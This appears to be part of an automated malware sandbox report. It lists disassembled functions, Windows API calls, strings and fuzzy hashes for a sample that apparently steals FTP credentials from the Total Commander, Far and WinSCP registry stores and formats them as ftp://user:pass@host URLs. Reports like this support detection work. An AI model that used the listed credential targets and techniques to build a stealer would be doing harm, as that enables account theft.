API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: 5@$5@$.$.
API String ID: 2348139788-1020649804
Opcode ID: 4fc783ec1a5d9276aeedd160a7c130a666ca6b6505fadcd079d5b28b90bd0463
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 4fc783ec1a5d9276aeedd160a7c130a666ca6b6505fadcd079d5b28b90bd0463
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 00407036 Relevance: 16.6, APIs: 11, Instructions: 97filenetworkCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,74DF0F00), ref: 00407043
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000), ref: 0040705D
GetLastError.KERNEL32(00000000), ref: 00407079
SetEndOfFile.KERNEL32(?), ref: 0040708F
InternetOpenUrlW.WININET(?,?,00000000,80000000,00000000,00000000), ref: 004070A9
CloseHandle.KERNEL32(?), ref: 004070BB

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CloseCreateDeleteErrorHandleInternetLastOpen
String ID:
API String ID: 3711279109-0
Opcode ID: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction ID: 9d8a11a16b3c0a9aa44c9dcc38c8aa686dfb91ece0f3f59227d733df7bad94bb
Opcode Fuzzy Hash: 89bc675b35fb8e2eee68dc50edc98837eed05b9f43fe5ca330cba4f7d07cf5ae
Instruction Fuzzy Hash: 48313471800119EFEB119FA1DE85AEE7BBDFB04344F104872F652B61A0D731AE21DB66

Function 00401C41 Relevance: 11.7, Strings: 9, Instructions: 462COMMON

Download Yara Rule

Strings

0, xrefs: 00401C87
&ref=%s, xrefs: 004021B8
0, xrefs: 00402175
0, xrefs: 00401E62
0, xrefs: 0040214E
&real_refer=%s, xrefs: 00401DCB, 00401F2F
&ref=%s&real_refer=%s, xrefs: 00401DAE, 00401F12
&kwtype=, xrefs: 0040210A
&condition_id=, xrefs: 004020AE

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID: &condition_id=$&kwtype=$&real_refer=%s$&ref=%s$&ref=%s&real_refer=%s$0$0$0$0
API String ID: 0-2992689389
Opcode ID: a727e907e4fa3dcf0a7e47aeb1b7c58c319b6e169d55fc458ead9a64ed98c1b2
Instruction ID: e592e17ffd072e5ed7288f56bd6294cd549ee2c695a1c784d027d9705cc039a8
Opcode Fuzzy Hash: a727e907e4fa3dcf0a7e47aeb1b7c58c319b6e169d55fc458ead9a64ed98c1b2
Instruction Fuzzy Hash: B2F1E272810118AADB14EB61DC919EF737EEF01304F5044BBFA09B62D1E7789E858F99

Function 00407499 Relevance: 9.1, APIs: 6, Instructions: 62timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?), ref: 004074AD
GetLocalTime.KERNEL32(?), ref: 004074B3
GetTimeZoneInformation.KERNEL32(?), ref: 004074EA
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 00407525
SystemTimeToFileTime.KERNEL32(000007D8,?), ref: 0040752F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040754A

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Time$FileLocalSystem$InformationUnothrow_t@std@@@Zone__ehfuncinfo$??2@
String ID:
API String ID: 3777474486-0
Opcode ID: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction ID: c9ff0a62426275c5a0d4f0aa0fa2549fa158b312224671bef63f429b7f92df75
Opcode Fuzzy Hash: bce84979032c395480666c2d60b9174811821601ee86a2001902def64962fbd3
Instruction Fuzzy Hash: 03112C72D1022DAADF00EBD4DC44AEEB7FCBF48314F04445AE901B7240E7B9A608CBA5

Function 00407267 Relevance: 6.1, APIs: 4, Instructions: 53timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,00000000,?), ref: 0040727C
SystemTimeToFileTime.KERNEL32(?,?,00000000,?), ref: 004072C1
SystemTimeToFileTime.KERNEL32(000007B2,?), ref: 004072CB
__aulldiv.LIBCMT ref: 004072E3

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Time$System$File$__aulldiv
String ID:
API String ID: 3735792614-0
Opcode ID: 0c4dc03f5a347e2c27f051dc2031945d9a04d2897cd941f14c1bc42406c11d92
Instruction ID: ef19eb4ac8525f4bf2260e0142840e6d018c3cac6eb9bd4f47b1f5cd165e8a78
Opcode Fuzzy Hash: 0c4dc03f5a347e2c27f051dc2031945d9a04d2897cd941f14c1bc42406c11d92
Instruction Fuzzy Hash: D401DE62D1022DAACB01DFE4D984CEFB77DFF44348B00156AE901F7250E7B5AA4887A5

Function 00406CB5 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00406CCF

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 55562b46774a615dc2e97dfe1c8d2773bede11335cf8e3c3be8baa064d73f36a
Instruction ID: 5612040357c07126fa19026aaffe8c4f09115318cb9d2fe7a616e1c4ae3a2977
Opcode Fuzzy Hash: 55562b46774a615dc2e97dfe1c8d2773bede11335cf8e3c3be8baa064d73f36a
Instruction Fuzzy Hash: C9E04FB2D4011D5BDB1C9B60EE47BD9BBF8EB11304F0140E6D746E5180E6B8DB848F95

Function 0040B51C Relevance: .7, Instructions: 666COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a180277a47174503745c50212eccdbe59cf0734582742268f170c434fce9886
Instruction ID: 218ff2483168da8b183dc8d255f139c90e55d0551e3cd34b08f9c15d5f680e8f
Opcode Fuzzy Hash: 6a180277a47174503745c50212eccdbe59cf0734582742268f170c434fce9886
Instruction Fuzzy Hash: FB423CB6E413099FDB08CFD6D8C09DCB7B3FFD8314B1A91A9C505A7316D6B87A068A50

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181threadnetworkCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

\netprotdrvss.exe, xrefs: 0040B12D, 0040B293
begun.ru, xrefs: 0040B16A

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: f00215b0a2c050b351c75e946f92b6e3bcf83530ecbb64207e8b54d6640c664f
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: f00215b0a2c050b351c75e946f92b6e3bcf83530ecbb64207e8b54d6640c664f
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: RtlAllocateHeap.NTDLL(00000008,00020002), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: RtlAllocateHeap.NTDLL(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F
*totalcmd*, xrefs: 00403CB7
*ghisler*, xrefs: 00403CD8
&, xrefs: 00403D07
#, xrefs: 00403D0E
installdir, xrefs: 00403DA1
$, xrefs: 00403CF9
*total*commander*, xrefs: 00403CC9
ftpininame, xrefs: 00403C41

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Heap$AllocateEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 1603279786-3914982127
Opcode ID: 26c8f4bebab1ae11d82167087f32e99de9e525031e1043edf7ba74d8e218de96
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: 26c8f4bebab1ae11d82167087f32e99de9e525031e1043edf7ba74d8e218de96
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 004027E6 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 355comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004027F5

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Strings

From: true, xrefs: 00402827

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$InitializeOpenOption
String ID: From: true
API String ID: 1176259655-9585188
Opcode ID: e3ed93f08a692b048133c282a57554ffb430715b37394e79d1082c6afb7cb1c7
Instruction ID: 80b93d55993982ee294e6d3758cd093c071ceb3c0ab782597868a4ea0391af47
Opcode Fuzzy Hash: e3ed93f08a692b048133c282a57554ffb430715b37394e79d1082c6afb7cb1c7
Instruction Fuzzy Hash: 89C1E371E00219AFDF20AFA5CD49A9E77B5AB04304F10447BF814B32D2D6B89D41CFA9

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

.html, xrefs: 00402FFE, 004031EE
file, xrefs: 0040300F
From: , xrefs: 004030C8
Via: , xrefs: 004030ED
^client=, xrefs: 0040301A
^key=, xrefs: 0040305E
none, xrefs: 00402F16

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 6a9d8a2b960fb8ecbd71def97b915302dd31e261924da3fa70170851c5f8d9bc
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 6a9d8a2b960fb8ecbd71def97b915302dd31e261924da3fa70170851c5f8d9bc
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 004041E4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 210registrymemoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000C0C), ref: 004041FD
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,00000008), ref: 004042B3
RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00404373
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404419
RegCloseKey.ADVAPI32(?), ref: 0040442A

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

Strings

password, xrefs: 00404282
SOFTWARE\Far2\Plugins\ftp\hosts, xrefs: 0040422A
ftp://%s:%s@%s, xrefs: 004043B7
SOFTWARE\Far\Plugins\ftp\hosts, xrefs: 00404219
user, xrefs: 00404274
hostname, xrefs: 00404258
username, xrefs: 00404266

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: HeapOpen$AllocateCloseEnumFree
String ID: SOFTWARE\Far2\Plugins\ftp\hosts$SOFTWARE\Far\Plugins\ftp\hosts$ftp://%s:%s@%s$hostname$password$user$username
API String ID: 755471147-4007225339
Opcode ID: f29ce97687ee8e0874f7ebd76575de33d86bd70d41b4c66ff4b04de971eb53c9
Instruction ID: d928ca8cdb490927e602bcc25cbe761e1e9ca2c88fd961b6a2cac4e28df6e2a2
Opcode Fuzzy Hash: f29ce97687ee8e0874f7ebd76575de33d86bd70d41b4c66ff4b04de971eb53c9
Instruction Fuzzy Hash: CF717DB2900118ABCB20EB95CD45EEFBBBDEF48314F10457BF615F2181EA349A458B69

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000C20,?), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A
password, xrefs: 004045B0
portnumber, xrefs: 00404594
hostname, xrefs: 00404586
ftp://%s:%s@%s:%u, xrefs: 004046F3
username, xrefs: 004045A2

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AllocateCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3847610418-285550827
Opcode ID: 1d9827a894f3f8a5ead85e530c3a22f3f32bf575e3091ef13a728acf1b8ae2ad
Instruction ID: 619369561540f7679ee4dce6ffb5b1aea82e2176e3673c83278f81db5409ea06
Opcode Fuzzy Hash: 1d9827a894f3f8a5ead85e530c3a22f3f32bf575e3091ef13a728acf1b8ae2ad
Instruction Fuzzy Hash: AE715DB2900119AFDB10DBD5CD81AEF77BCEB48308F10447AE605F3291EB389E458B68

Function 00409301 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 105memoryCOMMON

Download Yara Rule

APIs

CharLowerW.USER32(?,?,?,?,?,?,+@,004089CD,?,?,?), ref: 0040933E
SysFreeString.OLEAUT32(?), ref: 00409359
SysFreeString.OLEAUT32(?), ref: 00409362
SysAllocString.OLEAUT32(?), ref: 004093B8
SysAllocString.OLEAUT32(javascript), ref: 004093C1
SysFreeString.OLEAUT32(00000000), ref: 004093E3
SysFreeString.OLEAUT32(00000000), ref: 004093E6

Strings

javascript, xrefs: 004093BA
+@, xrefs: 00409301
http:, xrefs: 00409347

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: String$Free$Alloc$CharLower
String ID: http:$javascript$+@
API String ID: 1987340527-3375436608
Opcode ID: 5d27cd9a03f957513de167056b4cf6ac27d5de90ad2759fc38c181f1cdf52fe6
Instruction ID: 0b4048b57b081e67726dd44363989906ad2532c65c6ed0c60c908aefe346602b
Opcode Fuzzy Hash: 5d27cd9a03f957513de167056b4cf6ac27d5de90ad2759fc38c181f1cdf52fe6
Instruction Fuzzy Hash: 6A310A71A00119AFDB04DFA6C889EAEB7B8EF48314B144469E805EB291D775AD41CF64

Function 004047CC Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000), ref: 0040823C

RtlAllocateHeap.NTDLL(00000008,00000626), ref: 00404888
StrStrIA.SHLWAPI(?,?), ref: 00404913
StrStrIA.SHLWAPI(?,?), ref: 00404925
StrStrIA.SHLWAPI(?,?), ref: 00404935
StrStrIA.SHLWAPI(?,?), ref: 00404947

Part of subcall function 00408248: FindFirstFileW.KERNEL32(?,?), ref: 00408280
Part of subcall function 00408248: WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
Part of subcall function 00408248: PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Part of subcall function 00408248: Sleep.KERNEL32(00000000), ref: 00408377
Part of subcall function 00408248: FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
Part of subcall function 00408248: FindClose.KERNEL32(00000000), ref: 004083B9

Strings

ftplist.txt, xrefs: 00404805
ftp://%S:%S@%S:%u, xrefs: 004049F6

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Find$FilePath$AllocateCloseCombineFirstHeapMatchNextObjectSingleSleepSpecWait
String ID: ftp://%S:%S@%S:%u$ftplist.txt
API String ID: 2372625535-1322549247
Opcode ID: 40d46e4d36d3a186cbd1342ff77bf9c5cf66d7f17174447c238647f62506998a
Instruction ID: 36c1d9bdffb8f00438c4566312b7f03f9c346fdcff82922ab75e5f9c351e1c12
Opcode Fuzzy Hash: 40d46e4d36d3a186cbd1342ff77bf9c5cf66d7f17174447c238647f62506998a
Instruction Fuzzy Hash: 3581B0B15043819FD721EF29C840A6BBBE5AFC9304F14497EFA84A32D1E738D945CB5A

Function 00405229 Relevance: 15.1, APIs: 3, Strings: 7, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00002710), ref: 00405366
Sleep.KERNEL32(00009C40), ref: 00405383
Sleep.KERNEL32(00004E20), ref: 004053D0

Strings

.html, xrefs: 004052B4
ftp, xrefs: 004052C5
From: , xrefs: 00405318
Via: , xrefs: 0040533C
CsM, xrefs: 004053B2
^key=, xrefs: 004052D0
hOA, xrefs: 00405305

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Sleep
String ID: .html$CsM$From: $Via: $^key=$ftp$hOA
API String ID: 3472027048-2333287219
Opcode ID: 3cd90bfa2c2e623c21955266312847ad0ab3481047343eeed66e671b36a79e18
Instruction ID: 3376cbd9a830c5581772f61034da1910d267ee329a165acd0f4726bddbbbde03
Opcode Fuzzy Hash: 3cd90bfa2c2e623c21955266312847ad0ab3481047343eeed66e671b36a79e18
Instruction Fuzzy Hash: 4E419431A0091887CB24E7A29D529EF73A9EF40318F54407FE905B71D1EA7C9E898F5D

Function 00409C99 Relevance: 15.1, APIs: 10, Instructions: 127memorynetworkfileCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,?,00000000,04400000,00000000), ref: 00409CCB
GetProcessHeap.KERNEL32(00000000,00002001,?,?,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409CF4
RtlAllocateHeap.NTDLL(00000000,?,00406FE2), ref: 00409CF7
InternetReadFile.WININET(00000000,?,00001000,?), ref: 00409D6E
GetProcessHeap.KERNEL32(00000000,00000002,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409D80
RtlAllocateHeap.NTDLL(00000000,?,00406FE2), ref: 00409D83
GetProcessHeap.KERNEL32(00000000,00000000,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409DE3
HeapFree.KERNEL32(00000000,?,00406FE2,?,?,?,00000000,?,?,00000000,00000000), ref: 00409DE6

Memory Dump Source

Source File: 00000000.00000002.1742839395.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1742825866.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000411000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742839395.0000000000429000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742893910.000000000042B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1742905849.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Heap$Process$AllocateInternet$FileFreeOpenRead
String ID:
API String ID: 1606433043-0
Opcode ID: ee70a092113cb82a66864aea72d7e922ec5dd955c6bc6ddcba87379bbd99d211
